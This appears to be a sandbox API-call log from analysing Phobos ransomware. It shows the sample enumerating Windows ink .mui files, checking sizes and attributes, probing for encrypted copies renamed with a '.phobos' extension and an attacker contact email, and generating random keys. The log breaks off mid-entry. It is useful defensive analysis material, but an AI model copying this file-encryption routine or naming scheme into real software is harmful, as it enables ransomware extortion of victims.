[0124.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0124.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.790] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.790] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9728) returned 1 [0124.790] CloseHandle (hObject=0x590) returned 1 [0124.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0124.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.790] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.792] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.792] CloseHandle (hObject=0x590) returned 1 [0124.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0124.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.792] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.792] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.793] CloseHandle (hObject=0x590) returned 1 [0124.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0124.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.793] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.793] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.793] CloseHandle (hObject=0x590) returned 1 [0124.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0124.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.793] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.795] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9728) returned 1 [0124.795] CloseHandle (hObject=0x590) returned 1 [0124.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0124.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.795] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.797] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=8704) returned 1 [0124.797] CloseHandle (hObject=0x590) returned 1 [0124.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0124.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.797] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.806] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=5120) returned 1 [0124.807] CloseHandle (hObject=0x594) returned 1 [0124.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0124.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.807] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.807] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3072) returned 1 [0124.807] CloseHandle (hObject=0x594) returned 1 [0124.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0124.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.808] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.809] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=23040) returned 1 [0124.809] CloseHandle (hObject=0x594) returned 1 [0124.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0124.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.809] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.810] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0124.810] CloseHandle (hObject=0x58c) returned 1 [0124.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0124.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.811] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.832] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9216) returned 1 [0124.832] CloseHandle (hObject=0x594) returned 1 [0124.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0124.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.839] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.843] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.843] CloseHandle (hObject=0x594) returned 1 [0124.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0124.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.843] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.846] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3072) returned 1 [0124.846] CloseHandle (hObject=0x594) returned 1 [0124.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0124.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.846] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.848] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3072) returned 1 [0124.848] CloseHandle (hObject=0x594) returned 1 [0124.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0124.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.849] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.850] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=44032) returned 1 [0124.850] CloseHandle (hObject=0x594) returned 1 [0124.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0124.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.850] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.855] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=5120) returned 1 [0124.855] CloseHandle (hObject=0x594) returned 1 [0124.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0124.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 